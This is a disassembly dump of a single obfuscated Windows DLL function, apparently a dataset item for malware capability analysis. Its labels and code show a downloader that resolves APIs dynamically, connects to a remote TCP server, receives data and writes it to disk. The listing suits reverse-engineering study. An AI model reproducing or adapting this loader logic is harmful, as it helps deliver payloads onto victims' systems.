Function at 0x180001cb0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Convert ip address from string
Create tcp socket
Create udp socket
Download and write a file
Get common file path
Get file attributes
Initialize winsock library
Receive and write data from server to client
Receive data
Receive data on socket
Resolve dns
Write file on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x10538
call fcn.180011c40
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x104b0], 0xfffffffffffffffe
mov qword [rbp + 0x10440], rdx
mov qword [rbp + 0x10448], rcx
mov bl, bl
mov cl, cl
mov cl, cl
mov al, al
mov bl, bl
mov al, al
call fcn.1800c8c73
mov dl, dl
mov rsi, qword [0x18007e918]
call rsi
mov r12, rax
call fcn.1800f8c9e
mov bl, bl
call rsi
mov r15, rax
call fcn.1800f8ca3
mov bl, bl
call rsi
mov rbx, rax
call fcn.1800f2ee3
mov bl, bl
call rsi
mov r14, rax
call fcn.1800f8f22
mov cl, cl
mov rcx, r12
call qword [0x18007e800]
mov qword [0x180088ed0], rax
test rax, rax
je 0x180002896
call fcn.1800f8f27
mov al, al
mov rcx, r14
call qword [0x18007e800]
mov qword [0x180088ed8], rax
test rax, rax
je 0x1800028a2
call fcn.1800ef314
mov al, al
mov rcx, r15
call qword [0x18007e800]
mov qword [0x180088ee0], rax
test rax, rax
je 0x1800028ae
call fcn.1800ef319
mov dl, dl
mov rcx, rbx
call qword [0x18007e800]
mov qword [0x180088ee8], rax
test rax, rax
je 0x1800028ba
call fcn.1800efa12
mov cl, cl
mov rcx, rbx
call qword [0x18007e800]
mov qword [0x180088ef0], rax
test rax, rax
je 0x1800028c6
call fcn.1800efa17
mov cl, cl
mov rcx, rbx
call qword [0x18007e800]
mov qword [0x180088ef8], rax
test rax, rax
je 0x1800028d2
call fcn.1800f6777
mov bl, bl
mov rcx, rbx
call qword [0x18007e800]
mov qword [0x180088f00], rax
test rax, rax
je 0x1800028de
call fcn.1800f677c
mov cl, cl
mov rcx, rbx
call qword [0x18007e800]
mov qword [0x180088f08], rax
test rax, rax
je 0x1800028ea
call fcn.1800f80c2
mov cl, cl
mov rcx, rbx
call qword [0x18007e800]
mov qword [0x180088f10], rax
test rax, rax
je 0x1800028f6
call fcn.1800f80c7
mov al, al
mov rcx, rbx
call qword [0x18007e800]
mov qword [0x180088f18], rax
test rax, rax
je 0x180002902
call fcn.1800ef992
mov al, al
mov rcx, rbx
call qword [0x18007e800]
mov qword [0x180088f20], rax
test rax, rax
je 0x18000290e
call fcn.1800ef997
mov dl, dl
mov rcx, r14
call qword [0x18007e800]
mov qword [0x180088f28], rax
test rax, rax
je 0x18000291a
call fcn.1800ef30a
mov dl, dl
mov rcx, rbx
call qword [0x18007e800]
mov qword [0x180088f30], rax
test rax, rax
je 0x180002926
call fcn.1800ef30f
mov bl, bl
mov rcx, rbx
call qword [0x18007e800]
mov qword [0x180088f38], rax
test rax, rax
je 0x180002932
call fcn.1800ef988
mov cl, cl
mov rcx, r14
call qword [0x18007e800]
mov qword [0x180088f40], rax
test rax, rax
je 0x18000293e
call fcn.1800ef98d
mov al, al
mov rcx, rbx
call qword [0x18007e800]
mov qword [0x180088f48], rax
test rax, rax
je 0x18000294a
call fcn.1800f6564
mov bl, bl
mov rcx, r14
call qword [0x18007e800]
mov qword [0x180088f50], rax
test rax, rax
je 0x180002956
call fcn.1800f6569
mov bl, bl
mov rcx, r14
call qword [0x18007e800]
mov qword [0x180088f58], rax
test rax, rax
je 0x180002962
call fcn.1800f836a
mov dl, dl
mov rcx, r14
call qword [0x18007e800]
mov qword [0x180088f60], rax
test rax, rax
je 0x18000296e
call fcn.1800f836f
mov cl, cl
mov rcx, r14
call qword [0x18007e800]
mov qword [0x180088f68], rax
test rax, rax
je 0x18000297a
call fcn.1800f5e04
mov cl, cl
mov rcx, r14
call qword [0x18007e800]
mov qword [0x180088f70], rax
test rax, rax
je 0x180002986
call fcn.1800f5e09
mov dl, dl
mov rcx, r14
call qword [0x18007e800]
mov qword [0x180088f78], rax
test rax, rax
je 0x180002992
call fcn.1800fbb80
mov bl, bl
mov rcx, r14
call qword [0x18007e800]
mov qword [0x180088f80], rax
test rax, rax
je 0x18000299e
call fcn.1800fbb85
mov cl, cl
mov rcx, rbx
call qword [0x18007e800]
mov qword [0x180088f88], rax
test rax, rax
je 0x1800029aa
mov rax, qword [0x180088ee8]
mov qword [0x180088ec0], rax
mov rax, qword [0x180088f08]
mov qword [0x180088ec8], rax
lea rax, [rbp + 0xffd0]
mov qword [rsp + 0x20], rax
xor ecx, ecx
mov edx, 0x28
xor r8d, r8d
xor r9d, r9d
call qword [0x180088ee0]
test eax, eax
jne 0x1800029b6
xorps xmm0, xmm0
movaps xmmword [rbp + 0x10470], xmm0
movaps xmmword [rbp + 0x10460], xmm0
lea r14, [rbp + 0xffd0]
mov rcx, r14
call fcn.180052ef8
lea rbx, [rbp + 0x10460]
mov rcx, rbx
mov rdx, r14
mov r8, rax
call fcn.180001080
mov rax, qword [rbp + 0x10470]
test rax, rax
je 0x1800029c2
mov rcx, qword [rbp + 0x10478]
cmp rcx, 8
jb 0x1800020c9
mov rbx, qword [rbp + 0x10460]
movzx edx, word [rbx + rax*2 - 2]
cmp edx, 0x2f
je 0x180002118
cmp edx, 0x5c
je 0x180002118
cmp rcx, rax
jne 0x180002100
mov qword [rsp + 0x20], 1
lea r9, [0x180079c48]
lea rcx, [rbp + 0x10460]
mov edx, 1
call fcn.180002d60
jmp 0x180002118
lea rcx, [rax + 1]
mov qword [rbp + 0x10470], rcx
mov word [rbx + rax*2], 0x2f
mov word [rbx + rax*2 + 2], 0
lea r14, [rbp + 0x10480]
lea rbx, [rbp + 0x10460]
mov rcx, r14
mov rdx, rbx
call fcn.180002b90
mov rax, qword [rbp + 0x10490]
mov rcx, qword [rbp + 0x10498]
mov rdx, rcx
sub rdx, rax
cmp rdx, 0xe
jae 0x18000217f
mov qword [rsp + 0x20], 0xe
call fcn.1800f2ee8
mov bl, bl
lea rcx, [rbp + 0x10480]
mov edx, 0xe
call fcn.180002d60
cmp qword [rbp + 0x10498], 8
jb 0x1800021c2
mov rcx, qword [rbp + 0x10480]
jmp 0x1800021c9
lea rdx, [rax + 0xe]
mov qword [rbp + 0x10490], rdx
cmp rcx, 8
jb 0x180002197
mov r14, qword [rbp + 0x10480]
movups xmm0, xmmword [0x180079bd8]
movups xmmword [r14 + rax*2 + 0xc], xmm0
movups xmm0, xmmword [0x180079bcc]
movups xmmword [r14 + rax*2], xmm0
mov word [r14 + rax*2 + 0x1c], 0
cmp qword [rbp + 0x10498], 8
jae 0x180002176
lea rcx, [rbp + 0x10480]
call qword [0x180088f50]
test al, 0x10
jne 0x1800029c7
mov qword [rbp + 0x10490], 0
cmp qword [rbp + 0x10498], 8
jb 0x1800021f5
mov rax, qword [rbp + 0x10480]
jmp 0x1800021fc
lea rax, [rbp + 0x10480]
mov word [rax], 0
mov qword [rbp + 0x10470], 0
cmp qword [rbp + 0x10478], 8
jb 0x18000221d
mov rbx, qword [rbp + 0x10460]
mov word [rbx], 0
lea rdx, [rbp + 0x101d8]
mov cx, 0x202
call qword [0x180088ef0]
mov ecx, 2
mov edx, 1
mov r8d, 6
call qword [0x180088f00]
mov rbx, rax
mov word [rbp + 0x10430], 2
mov cx, 0xbef8
call qword [0x180088f10]
mov word [rbp + 0x10432], ax
xorps xmm0, xmm0
movaps xmmword [rbp + 0x103d0], xmm0
movaps xmmword [rbp + 0x103e0], xmm0
movaps xmmword [rbp + 0x103f0], xmm0
movabs rax, 0x600000001
mov qword [rbp + 0x103d8], rax
call fcn.1800f4034
mov bl, bl
lea r8, [rbp + 0x103d0]
lea r9, [rbp + 0x10450]
xor edx, edx
call qword [0x180088f20]
test eax, eax
jne 0x1800029d3
mov rsi, qword [0x180088f38]
mov rax, qword [rbp + 0x10450]
mov rax, qword [rax + 0x20]
mov ecx, dword [rax + 4]
call qword [0x180088f30]
lea r8, [rbp + 0x10434]
mov ecx, 2
mov rdx, rax
call rsi
test eax, eax
jle 0x1800029df
mov rcx, qword [rbp + 0x10450]
call qword [0x180088f88]
xor esi, esi
lea r14, [rbp + 0x10430]
lea r15, [rbp - 0x30]
jmp 0x180002315
mov rbx, rax
inc esi
cmp esi, 2
ja 0x18000287e
mov rcx, rbx
mov rdx, r14
mov r8d, 0x10
call qword [0x180088f18]
test eax, eax
js 0x180002313
xor r13d, r13d
xor edi, edi
nop dword [rax]
mov rcx, rbx
mov rdx, r15
mov r8d, 4
xor r9d, r9d
call qword [0x180088ee8]
test eax, eax
jle 0x1800023d0
movsx edx, byte [rbp - 0x30]
movsx eax, byte [rbp - 0x2f]
movsx r12d, byte [rbp - 0x2e]
movsx ecx, byte [rbp - 0x2d]
mov r8d, eax
or r8d, edx
or r8d, r12d
or r8d, ecx
js 0x1800023d0
shl edx, 0x18
shl eax, 0x10
add eax, edx
shl r12d, 8
add r12d, ecx
add r12d, eax
cmp r12d, 9
jle 0x1800023d0
mov ecx, r12d
call fcn.180011c20
mov r13, rax
mov rcx, rbx
mov rdx, rax
mov r8d, r12d
xor r9d, r9d
call qword [0x180088ee8]
mov rcx, r13
call fcn.180011bec
cmp edi, 9
lea eax, [rdi + 1]
setae r13b
mov edi, eax
cmp eax, 0xa
jne 0x180002340
jmp 0x180002403
test r13b, 1
jne 0x180002403
mov rcx, rbx
call qword [0x18007eaf8]
cmp esi, 2
je 0x180002313
mov ecx, 2
mov edx, 1
mov r8d, 6
call qword [0x180088f00]
jmp 0x180002310
lea rcx, [rbp + 0x10400]
mov rdx, rbx
call fcn.180001000
lea rcx, [rbp + 0x10458]
mov rdx, rbx
call fcn.180001330
mov qword [rbp + 0x104a0], 0
mov dword [rbp + 0x104ac], 0
mov rax, qword [0x180088f58]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call fcn.1800f2eed
mov cl, cl
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
call rax
mov r14, rax
inc rax
cmp rax, 2
jae 0x18000249c
lea rcx, [rbp + 0x10458]
lea rdx, [rbp + 0x101d8]
call fcn.180001390
test al, al
jne 0x1800024b9
call fcn.1800f4039
mov cl, cl
call fcn.180001780
lea rdx, [rbp + 0x104a0]
lea r8, [rbp + 0x104ac]
lea r9, [rbp + 0x10458]
mov rcx, r14
call fcn.180001b90
lea rcx, [rbp + 0x10400]
call fcn.180001010
mov r15d, eax
cmp eax, 0xffffffff
je 0x18000288a
lea rcx, [rbp + 0x10400]
call fcn.180001070
test al, al
jne 0x18000288a
test r15d, r15d
je 0x1800025f5
call fcn.1800c8c6e
mov cl, cl
call fcn.1800523a4
mov ecx, 1
call fcn.18004d3e4
mov rcx, rax
call fcn.180052034
mov r14d, r15d
test r14, r14
je 0x180002a3b
lea rcx, [0x180079762]
call fcn.180001780
lea rcx, [0x180079b55]
call fcn.180001780
lea rcx, [0x180079ba6]
call fcn.180001780
lea rcx, [0x180079605]
call fcn.180001780
lea rcx, [0x180079af6]
call fcn.180001780
lea rcx, [0x180079579]
call fcn.180001780
lea rcx, [0x180079676]
call fcn.180001780
lea rcx, [0x18007965a]
call fcn.180001780
lea rcx, [0x1800795ae]
call fcn.180001780
lea rcx, [0x180079a9e]
call fcn.180001780
lea rcx, [0x180079623]
call fcn.180001780
lea rcx, [0x1800795c7]
call fcn.180001780
lea rcx, [0x180079725]
call fcn.180001780
lea rcx, [0x180079b19]
call fcn.180001780
lea rcx, [0x180079ab5]
call fcn.180001780
lea rcx, [0x1800797da]
call fcn.180001780
lea rcx, [0x1800795e1]
call fcn.180001780
lea rcx, [0x180079590]
call fcn.180001780
lea rcx, [0x180079ad1]
call fcn.180001780
lea rcx, [0x180079b37]
call fcn.180001780
lea rcx, [0x180079a65]
call fcn.180001780
lea rcx, [0x180079a49]
call fcn.180001780
lea rcx, [0x180079a2b]
call fcn.180001780
lea rcx, [0x180079a80]
call fcn.180001780
lea rcx, [0x18007963b]
call fcn.180001780
lea rcx, [0x180079743]
call fcn.180001780
lea rcx, [0x180079960]
call fcn.180001780
call fcn.180002d40
lea rcx, [0x1800798ea]
call fcn.180001780
lea rcx, [0x1800797aa]
call fcn.180001780
lea rcx, [0x18007999a]
call fcn.180001780
lea rcx, [0x1800798b2]
call fcn.180001780
lea rcx, [0x18007987a]
call fcn.180001780
call fcn.180002fc0
lea rcx, [0x180079842]
call fcn.180001780
call fcn.180002fc0